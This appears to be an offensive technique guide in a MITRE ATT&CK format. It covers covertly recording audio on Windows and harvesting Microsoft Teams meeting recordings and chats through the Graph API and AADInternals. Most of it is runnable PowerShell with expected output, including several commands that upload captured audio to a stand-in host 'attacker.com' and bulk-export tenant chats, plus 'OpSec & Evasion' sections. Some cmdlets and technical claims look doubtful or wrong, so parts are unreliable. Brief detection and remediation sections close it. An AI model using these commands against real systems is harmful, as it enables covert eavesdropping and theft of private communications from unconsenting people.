MCADDF

[COLLECT-PROJECT-001]: Project Data Collection

Metadata

Attribute Details
Technique ID COLLECT-PROJECT-001
MITRE ATT&CK v18.1 T1123 - Audio Capture
Tactic Collection
Platforms M365 / Cloud SaaS
Severity High
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All M365 versions, Windows 10/11, Windows Server 2016-2025
Patched In N/A (Feature-based, no patch)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.1.1 Ensure Azure AD Conditional Access policies require MFA for M365 access; missing MFA enables unauthorized Teams access
DISA STIG V-225254 Document retention and recording authorization must be enforced before Teams/Skype recording is permitted
CISA SCuBA MS.TEAMS.1 Prevent external users from recording Teams calls without explicit organization consent
NIST 800-53 AC-3 (Access Enforcement), AU-2 (Audit Events) Implement role-based access to recording features; audit all recording activity
GDPR Art. 32 (Security of Processing) Unauthorized audio recording of personal data in Teams/Skype violates the confidentiality principle
DORA Art. 9 (Protection and Prevention) Financial institutions must implement access controls on recording features to prevent insider threats
NIS2 Art. 21 (Cyber Risk Management) Critical infrastructure operators must monitor and control audio capture in communication systems
ISO 27001 A.9.2.3 (User Access Management) Least privilege must restrict recording permissions to authorized users only
ISO 27005 Risk Scenario: “Unauthorized Recording of Sensitive Communications” Assess risk likelihood and implement compensating controls (MFA, Conditional Access, encryption)

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# Check if Teams recording API is accessible
Test-Path "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Teams"

# Enumerate Teams call history via local registry
reg query "HKCU\Software\Microsoft\Teams\History" 

# Check for audio devices
Get-AudioDevice | Select-Object Name, Status

What to Look For:

Version Note: Windows 10 (version 1909+) and Windows 11 enable audio APIs by default. Earlier versions may have restricted audio access via User Account Control (UAC).

Command (Server 2016-2019):

# Legacy audio enumeration using WMI
Get-WmiObject -Class Win32_PnPDevice | Where-Object { $_.Name -like '*Audio*' } | Select-Object Name, Status

Command (Server 2022+):

# Modern audio device enumeration
Get-CimInstance -ClassName Win32_AudioDevice | Select-Object Name, Availability

Linux/Bash / CLI Reconnaissance

# Check if Teams Web client is accessible (cloud-based)
curl -I "https://teams.microsoft.com" 

# Enumerate audio devices on Linux (for hybrid scenarios)
pactl list short sources | grep RUNNING

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Windows Audio Capture via SoundRecorder.exe (Built-in)

Supported Versions: Windows 10 (1909+), Windows 11, Server 2019+

Step 1: Identify Audio Input Devices

Objective: Confirm that a microphone or audio input device is available on the target system.

Version Note: Windows 10 and 11 enumerate audio devices differently. Windows 10 (build 1909) requires elevated privilege for certain audio APIs; Windows 11 (21H2+) allows standard users full access to audio APIs.

Command:

# Enumerate all audio devices
[System.Windows.Forms.SystemSounds] | Get-Member -MemberType Property
Get-WmiObject Win32_SoundDevice | Select-Object Name, Manufacturer

Command (Server 2016-2019):

# Legacy WMI approach for older servers
Get-WmiObject -Class Win32_PnPDevice -Filter "Name LIKE '%Audio%'" | Select-Object Name, Status

Command (Server 2022+):

# Modern CIM approach
Get-CimInstance -ClassName Win32_AudioDevice | Select-Object Name, Availability, Description

Expected Output:

Name                                              Manufacturer         Description
----                                              ------------         -----------
Realtek High Definition Audio Device              Realtek              Audio Input Device
Stereo Mix                                        Realtek              Loopback Interface

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Initiate Audio Recording

Objective: Start capturing audio from identified input devices using SoundRecorder.exe.

Version Note: Windows 10 SoundRecorder saves files to \Audio\ folder by default (WAV or M4A). Windows 11+ offers enhanced codec support (MP3, FLAC).

Command:

# Start SoundRecorder in background (silent recording)
Start-Process -FilePath "C:\Windows\System32\SoundRecorder.exe" -WindowStyle Hidden -PassThru

Command (Server 2016-2019):

# Launch SoundRecorder from command line
C:\Windows\System32\SoundRecorder.exe

Command (Server 2022+):

# Modern approach using Windows.Media namespace
[Windows.Media.Capture.MediaCapture]::new().InitializeAsync()

Expected Output:

ProcessId        Name                       
---------        ----                       
5240             SoundRecorder

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Exfiltrate Recorded Audio

Objective: Transfer captured audio files to attacker-controlled infrastructure or cloud storage.

Version Note: Windows 10 stores recordings in %APPDATA%\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\LocalState\Indexed\. Windows 11+ stores in %APPDATA%\Local\Packages\Microsoft.WindowsSoundRecorder_[Version]\LocalState\Recordings\.

Command:

# Locate audio files
$AudioFiles = Get-ChildItem -Path "$env:APPDATA\Local\Packages\Microsoft.WindowsSoundRecorder*\LocalState\*" -Include *.wav, *.m4a -Recurse

# Exfiltrate via HTTP POST to attacker server
foreach ($File in $AudioFiles) {
    $FileBytes = [System.IO.File]::ReadAllBytes($File.FullName)
    $Base64 = [System.Convert]::ToBase64String($FileBytes)
    Invoke-WebRequest -Uri "http://attacker.com/upload" -Method POST -Body @{ audio=$Base64; filename=$File.Name }
}

Command (Server 2016-2019):

# Legacy approach using Net.WebClient for older systems
$WebClient = New-Object System.Net.WebClient
$WebClient.UploadFile("http://attacker.com/upload", "C:\Users\Public\audio.wav")

Command (Server 2022+):

# Modern approach using Invoke-RestMethod (less detectable than WebClient)
$File = Get-Item "C:\Users\Public\audio.wav"
$FileBytes = [System.IO.File]::ReadAllBytes($File.FullName)
Invoke-RestMethod -Uri "http://attacker.com/upload" -Method POST -Body $FileBytes -ContentType "application/octet-stream"

Expected Output:

StatusCode        : 200
StatusDescription : OK
Content            : {uploaded successfully}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Microsoft Teams API Data Collection (Cloud-Based)

Supported Versions: M365 All versions, Teams Client 1.3.00+, Web Client all versions

Step 1: Authenticate to Microsoft Graph API

Objective: Obtain OAuth 2.0 access token with delegated permissions for Teams call recording.

Version Note: M365 Graph API v1.0 and beta endpoints support Teams call recording and chat export. Beta endpoint (/beta/me/onlineMeetings/{meetingId}/recordings) provides raw audio streams.

Command:

# Authenticate to Microsoft Graph using Device Code Flow (no user interaction required)
$ClientId = "d3590ed6-52b3-4102-aedd-a47eb6f3444c"  # Teams Desktop Client ID
$TenantId = "common"
$Scope = "https://graph.microsoft.com/.default"

# Request device code
$DeviceCodeRequest = Invoke-RestMethod -Method POST -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/devicecode" `
    -ContentType "application/x-www-form-urlencoded" `
    -Body @{ client_id = $ClientId; scope = $Scope }

Write-Host "Visit: $($DeviceCodeRequest.verification_uri) and enter code: $($DeviceCodeRequest.user_code)"

# Poll for token
$TokenRequest = @{
    client_id = $ClientId
    grant_type = "urn:ietf:params:oauth:grant-type:device_flow"
    device_code = $DeviceCodeRequest.device_code
}

$AccessToken = $null
while (-not $AccessToken) {
    try {
        $Response = Invoke-RestMethod -Method POST -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" `
            -ContentType "application/x-www-form-urlencoded" `
            -Body $TokenRequest -ErrorAction SilentlyContinue
        if ($Response.access_token) { $AccessToken = $Response.access_token }
    } catch { Start-Sleep -Seconds 5 }
}

Write-Host "Access Token Obtained: $($AccessToken.Substring(0, 20))..."

Command (Server 2016-2019):

# Legacy authentication using Azure AD PowerShell module
Install-Module -Name AzureAD -Force
$Cred = Get-Credential
Connect-AzureAD -Credential $Cred
$AccessToken = (Get-AzureADAuthorizationToken).Token

Command (Server 2022+):

# Modern authentication using Microsoft Graph PowerShell
Install-Module -Name Microsoft.Graph -Force
Connect-MgGraph -Scopes "CallRecords.Read.All", "TeamsAppInstallation.ReadWrite.All"

Expected Output:

Access Token Obtained: eyJ0eXAiOiJKV1QiLCJhbGc...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Query Teams Online Meetings and Recordings

Objective: List all Teams meetings and identify which ones have associated recordings.

Version Note: Graph API endpoint /me/onlineMeetings is available in all M365 versions. Recording metadata is available in v1.0; raw audio streams require beta endpoint.

Command:

# List all Teams online meetings
$Headers = @{
    Authorization = "Bearer $AccessToken"
    "Content-Type" = "application/json"
}

$Meetings = Invoke-RestMethod -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/me/onlineMeetings?`$filter=startDateTime ge $(Get-Date -Format 'yyyy-MM-ddTHH:mm:ss')Z" `
    -Headers $Headers

$Meetings.value | Select-Object id, subject, startDateTime, endDateTime, createdDateTime

Command (Server 2016-2019):

# List meetings using legacy Exchange Online cmdlets
Get-MailboxFolderStatistics -Identity $UserUPN -FolderScope All | Where-Object { $_.FolderPath -match "CalendarLogging" }

Command (Server 2022+):

# Modern approach using Microsoft Graph beta endpoint for recordings
$Recordings = Invoke-RestMethod -Method GET `
    -Uri "https://graph.microsoft.com/beta/me/onlineMeetings?`$filter=startDateTime ge $(Get-Date).AddDays(-30)" `
    -Headers $Headers

$Recordings.value | ForEach-Object {
    $MeetingId = $_.id
    $RecordingDetails = Invoke-RestMethod -Method GET `
        -Uri "https://graph.microsoft.com/beta/me/onlineMeetings/$MeetingId/recordings" `
        -Headers $Headers
    
    $RecordingDetails.value | Select-Object @{ Name = 'MeetingId'; Expression = { $MeetingId } }, 
                                            id, createdDateTime, recordingContentUrl, expirationDateTime
}

Expected Output:

MeetingId    Id                           CreatedDateTime          RecordingContentUrl
---------    --                           ---------------          --------------------
abc123       rec-001                      2025-12-15T14:30:00Z     https://graph.microsoft.com/v1.0/me/onlineMeetings/abc123/recordings/rec-001/content
def456       rec-002                      2025-12-14T10:15:00Z     https://graph.microsoft.com/v1.0/me/onlineMeetings/def456/recordings/rec-002/content

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Download and Exfiltrate Recording Content

Objective: Download the actual audio recording file from Teams and transfer to attacker-controlled storage.

Version Note: Recording files are stored in Microsoft Stream (part of SharePoint Online). Downloads require valid token with CallRecords.Read.All scope.

Command:

# Download recording content
$RecordingUrl = "https://graph.microsoft.com/v1.0/me/onlineMeetings/abc123/recordings/rec-001/content"

$RecordingBytes = Invoke-RestMethod -Method GET `
    -Uri $RecordingUrl `
    -Headers $Headers `
    -ContentType "application/octet-stream" `
    -OutFile "C:\Temp\recording.mp4"

# Compress and upload to attacker server
Compress-Archive -Path "C:\Temp\recording.mp4" -DestinationPath "C:\Temp\recording.zip" -Force

$FileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\recording.zip")
Invoke-WebRequest -Uri "http://attacker.com/upload" -Method POST -InFile "C:\Temp\recording.zip"

Command (Server 2016-2019):

# Legacy download using WebClient
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add("Authorization", "Bearer $AccessToken")
$WebClient.DownloadFile($RecordingUrl, "C:\Temp\recording.mp4")

Command (Server 2022+):

# Modern streaming download for large files
$OutFile = New-Item -ItemType File -Path "C:\Temp\recording_$(Get-Date -Format 'yyyyMMdd_HHmmss').mp4" -Force
$Stream = [System.IO.File]::Create($OutFile.FullName)

$Response = Invoke-WebRequest -Uri $RecordingUrl -Headers $Headers -Method GET
$Stream.Write($Response.Content, 0, $Response.Content.Length)
$Stream.Close()

Expected Output:

Recording downloaded to: C:\Temp\recording_20251215_143000.mp4 (245 MB)

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 3: AADInternals Teams Chat Exfiltration (Advanced Cloud Harvesting)

Supported Versions: Entra ID all versions, Teams client all versions

Step 1: Exploit AADInternals Seamless SSO Enumeration

Objective: Use AADInternals to enumerate Teams users and extract chat history without explicit Teams login.

Version Note: AADInternals leverages undocumented Seamless SSO (Hybrid AD) enumeration endpoints. Effective on all M365 versions where Seamless SSO is enabled.

Command:

# Install AADInternals from PowerShell Gallery
Install-Module -Name AADInternals -Force

# Enumerate users via Seamless SSO GetCredentialType endpoint
$Users = Get-AADIntUsers -Domain "target.onmicrosoft.com"
$Users | Select-Object UserPrincipalName, OnPremisesSyncEnabled, CreationType

# Export Teams chats for enumerated users
$Users | ForEach-Object {
    $UPN = $_.UserPrincipalName
    Get-AADIntTeamsChats -UserPrincipalName $UPN | Export-Csv -Path "C:\Exfil\chats_$($UPN -replace '@','_').csv"
}

Command (Server 2016-2019):

# Legacy enumeration using AADInternals' undocumented endpoints
Import-Module AADInternals
$Tokens = Get-AADIntAccessTokenForTeams -UserPrincipalName "admin@target.onmicrosoft.com"
$UserData = Invoke-AADIntGraphRequest -AccessToken $Tokens.access_token -Api "/users"

Command (Server 2022+):

# Modern AADInternals with enhanced Teams API support
Update-Module -Name AADInternals -Force
$TenantInfo = Get-AADIntTenantInformation -Domain "target.onmicrosoft.com"
$AllChats = Get-AADIntTeamsChatsForTenant -TenantId $TenantInfo.TenantId
$AllChats | Export-Csv -Path "C:\Exfil\all_teams_chats.csv" -Force

Expected Output:

UserPrincipalName                OnPremisesSyncEnabled CreationType
-----------------                --------------------- -----------
user1@target.onmicrosoft.com     True                  Synchronized
user2@target.onmicrosoft.com     False                 Cloud
admin@target.onmicrosoft.com     True                  Synchronized

Chat ID: chat_123
Participants: user1@target.onmicrosoft.com, user2@target.onmicrosoft.com
Messages: [
  { from: user1@target.onmicrosoft.com, timestamp: 2025-12-15T10:30:00Z, body: "Secret Q1 strategy..." },
  { from: user2@target.onmicrosoft.com, timestamp: 2025-12-15T10:32:00Z, body: "Approved. Proceed with M&A..." }
]

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command:
    # Disconnect user session to prevent further exfiltration
    Get-NetTCPConnection -State Established | Where-Object { $_.OwningProcess -eq (Get-Process -Name Teams).Id } | Stop-NetConnection -Confirm:$false
       
    # Disable user account in Entra ID
    Update-MgUser -UserId "user@tenant.onmicrosoft.com" -AccountEnabled:$false
    

    Manual (Azure Portal):

    • Go to Azure PortalEntra IDUsers → Select compromised user → Account Enabled: Off
    • Revoke all sessions: Azure PortalEntra IDUsers → Select user → Sign-out all sessions
  2. Collect Evidence: Command:
    # Export audio files found on system
    Get-ChildItem -Path "C:\Users\*\AppData\Local\Packages\Microsoft.WindowsSoundRecorder*" -Include *.wav, *.m4a -Recurse | Copy-Item -Destination "C:\Evidence\"
       
    # Export Teams history registry
    reg export "HKCU\Software\Microsoft\Teams" "C:\Evidence\Teams_Registry.reg"
       
    # Export Unified Audit Log for the compromised user
    Search-UnifiedAuditLog -UserIds "user@tenant.onmicrosoft.com" -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) | Export-Csv -Path "C:\Evidence\AuditLog.csv"
    

    Manual:

    • Open File Explorer → Navigate to C:\Users\[Username]\AppData\Local\Packages\Microsoft.WindowsSoundRecorder*\ → Copy entire folder to USB drive
    • Open Purview Compliance PortalAudit → Search for user → Export results to CSV
  3. Remediate: Command:
    # Delete audio files
    Remove-Item -Path "C:\Users\*\AppData\Local\Packages\Microsoft.WindowsSoundRecorder*\LocalState\*" -Force -Recurse
       
    # Reset Teams cache
    Remove-Item -Path "$env:APPDATA\Microsoft\Teams" -Force -Recurse
       
    # Revoke all OAuth tokens
    Revoke-AzureADUserAllRefreshToken -ObjectId (Get-AzureADUser -SearchString "user@tenant.onmicrosoft.com").ObjectId
    

    Manual (Azure Portal):

    • Go to Azure PortalEntra IDUsers → Select user → DevicesRevoke session
    • Re-enable MFA and force password reset

6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening


Step Phase Technique Description
1 Initial Access IA-PHISH-001 Device code phishing attacks to compromise user credentials
2 Privilege Escalation [COLLECT-PROJECT-001] Audio Capture via Teams/Windows APIs (THIS TECHNIQUE)
3 Impact IMPACT-EXFIL-001 Exfiltrate captured audio to attacker-controlled cloud storage
4 Persistence PERSIST-OAUTH-001 Maintain access via OAuth consent grant for future Teams/Graph API access

8. REAL-WORLD EXAMPLES

Example 1: APT37 (Reaper) - SOUNDWAVE Audio Capture Campaign

Example 2: Emotet Botnet - Teams Call Interception (2021-2022)

Example 3: APT29 (Cozy Bear) - Microsoft Graph API Abuse (2024)